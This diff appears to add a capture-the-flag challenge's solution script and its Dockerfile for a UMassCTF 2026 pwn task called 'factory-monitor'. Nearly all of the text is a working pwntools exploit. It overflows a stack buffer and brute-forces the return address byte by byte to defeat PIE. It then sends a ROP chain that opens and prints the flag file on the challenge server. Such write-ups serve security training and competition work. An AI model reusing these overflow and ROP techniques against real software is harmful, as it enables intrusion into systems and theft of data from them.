Draft of UMassCTF pwn/factory-monitor

umassctf-2026/pwn/factory-monitor/exploit.py

@@ -0,0 +1,200 @@
+import time
+from pwn import *
+
+# size needed to overwrite based on buffer's stack position
+BUF_TO_RBP = 0x110
+
+context.arch = 'amd64'
+exe = context.binary = ELF('./factory-monitor')
+
+def send_cmd(factory, cmd):
+      factory.sendline(cmd)
+      return factory.recvuntil(b'factory> ', timeout=15)
+
+def connect():
+    if args.LOCAL:
+        return remote('localhost', 1337)
+    else:
+        return remote('factory-monitor.pwn.ctf.umasscybersec.org', 32770)
+
+def setup(factory):
+    factory.recvuntil(b'factory> ', 5)
+    send_cmd(factory, b'create mymachine')
+    send_cmd(factory, b'start 0')
+    send_cmd(factory, b'recv 0')
+
+def find_base(factory):
+    # static offset of 'call exit' instruction
+    CALL_EXIT_OFF = 0xb457
+
+    # LSB known to be 0x57 from the call exit offset
+    known_bytes = [CALL_EXIT_OFF & 0xff]
+
+    # byte 1: only 16 candidates due to 4KB page alignment (low nibble is fixed)
+    # the low nibble of byte 1 is fixed at (CALL_EXIT_OFFSET >> 8) & 0xf == 0x0b -> 0x0b
+    fixed_nibble = (CALL_EXIT_OFF >> 8) & 0xf
+    byte1_candidates = list({
+        ((x * 0x1000 + CALL_EXIT_OFF) >> 8) & 0xff
+        for x in range(16)
+    })
+
+    # bytes 2-5: all 256 values possible
+    other_bytes_candidates = list(range(0x100))
+    candidate_sets = [byte1_candidates] + [other_bytes_candidates] * 4
+
+    for byte_idx, candidates in enumerate(candidate_sets):
+        log.info(f"Looking for byte {byte_idx}")
+        found = False
+
+        for guess in candidates:
+            # the partially found address plus this round's guess
+            ret_addr_bytes = known_bytes + [guess]
+            # early breakout if guess contains newline
+            if 0x0a in ret_addr_bytes:
+                continue
+            # overwrite distance to rbp
+            padding = b'a' * BUF_TO_RBP
+            # overwrite rbp
+            padding += b'b' * 8
+
+            # send overwritten payload to machine and try exiting
+            #full_ret = ret_addr_bytes + [0x00] * (8 - len(ret_addr_bytes))
+            payload = padding + bytes(ret_addr_bytes)
+
+            # check output via monitor
+            success = False
+
+            for attempt in range(2):
+                send_cmd(factory, b'send 0 ' + payload)
+                send_cmd(factory, b'send 0 exit')
+
+                time.sleep(0.05)
+
+                for _ in range(10):
+                    resp = send_cmd(factory, b'monitor 0')
+
+                    if b'exited successfully' in resp:
+                        success = True
+                        break
+                    elif b'exited with status' in resp or b'killed by signal' in resp:
+                        send_cmd(factory, b'recv 0')
+                        crashed = True
+                        break
+
+                if success:
+                    break
+
+            if success:
+                # correct byte — child called exit(0)
+                log.success(f"Successfully found byte {byte_idx}: {guess:02x}")
+                known_bytes.append(guess)
+
+                # manually restart child
+                send_cmd(factory, b"cleanup 0")
+                send_cmd(factory, b"start 0")
+                send_cmd(factory, b"recv 0")
+
+                found = True
+                break
+            else:
+                # wrong byte — child crashed, auto-restarted, just continue
+                pass
+
+    if not found:
+        log.error(f"Failed to find byte {byte_idx}")
+        return None
+    ret_addr = int.from_bytes(bytes(known_bytes), "little")
+    pie_base = ret_addr - CALL_EXIT_OFF
+    print(f"PIE base: 0x{pie_base:x}")
+    return pie_base
+
+def find_bss(pie_base):
+    BSS_OFF =  0xc5a00
+    BSS_SIZE = 0x67bf
+    bss_start = pie_base + BSS_OFF
+
+    valid_regions = []
+
+    for region in range(bss_start, bss_start + BSS_SIZE, 0x100):
+        if b'\n' not in p64(region):
+            valid_regions.append(region)
+        if len(valid_regions) == 3:
+            return valid_regions[0], valid_regions[1], valid_regions[2]
+
+    return None, None
+
+def build_rop_chain(pie_base, filename_region, flag_region):
+    POP_RDI_RBP = 0xc028
+    POP_RSI_RBP = 0x15bc7
+    RET = 0xa382
+    READ_LINE_FD = 0x9f9f
+    OPEN = 0x38a40
+    PUTS = 0x15fc0
+
+    CHILD_FD = 3
+    FLAG_FD = 4
+
+    f = lambda off: p64(pie_base + off)
+
+    rop_chain = b''
+
+    # Read filepath from pipe: read_line_fd(CHILD_FD, filename_region)
+    rop_chain += f(POP_RDI_RBP) + p64(CHILD_FD) + p64(0)
+    rop_chain += f(POP_RSI_RBP) + p64(filename_region) + p64(0)
+    rop_chain += f(READ_LINE_FD)
+
+    # Open the flag file for reading: open(filename_region, 0)
+    rop_chain += f(POP_RDI_RBP) + p64(filename_region) + p64(0)
+    rop_chain += f(POP_RSI_RBP) + p64(0) + p64(0)
+    rop_chain += f(OPEN)
+
+    # Read the flag: read_line_fd(FLAG_FD, flag_region)
+    rop_chain += f(POP_RDI_RBP) + p64(FLAG_FD) + p64(0)
+    rop_chain += f(POP_RSI_RBP) + p64(flag_region) + p64(0)
+    rop_chain += f(READ_LINE_FD)
+
+    # Print the flag: puts(flag_region). Extra ret for alignment
+    rop_chain += f(RET)
+    rop_chain += f(POP_RDI_RBP) + p64(flag_region) + p64(0)
+    rop_chain += f(PUTS)
+
+    return rop_chain
+
+def send_payload(factory, fake_rbp, rop_chain):
+    payload = b'a' * BUF_TO_RBP
+    payload += p64(fake_rbp)
+    payload += rop_chain
+
+    # Send payload and force exit
+    send_cmd(factory, b'send 0 ' + payload)
+    send_cmd(factory, b'send 0 exit')
+    time.sleep(0.5)
+
+    # Send flag location to start ROP chain
+    send_cmd(factory, b'send 0 ./flag.txt')
+    time.sleep(0.5)
+
+    # Read flag sent
+    return factory.recvrepeat(2)
+
+def main():
+    factory = connect()
+    log.success("Connected")
+    setup(factory)
+    log.success("Set up")
+    pie_base = find_base(factory)
+    log.success("Found base")
+    filename_region, flag_region, fake_rbp = find_bss(pie_base)
+    log.success("Found bss")
+    if not filename_region or not flag_region or not fake_rbp:
+        return -1
+
+    rop_chain = build_rop_chain(pie_base, filename_region, flag_region)
+
+    flag = send_payload(factory, fake_rbp, rop_chain)
+    log.success(f"Flag: {flag}")
+
+    factory.interactive()
+
+if __name__ == '__main__':
+    main()

umassctf-2026/pwn/factory-monitor/handout/Dockerfile

@@ -0,0 +1,24 @@
+# Build
+FROM ubuntu:24.04
+
+RUN apt-get update && \
+    apt-get install -y \
+        socat
+
+
+RUN useradd -m -s /bin/bash ctf
+
+WORKDIR /ctf
+
+COPY factory-monitor .
+COPY flag.txt .
+
+RUN chmod 555 /ctf/factory-monitor && \
+    chmod 444 /ctf/flag.txt && \
+    chown -R root:root /ctf
+
+USER ctf
+WORKDIR /home/ctf
+
+EXPOSE 1337
+CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:/ctf/factory-monitor,stderr"]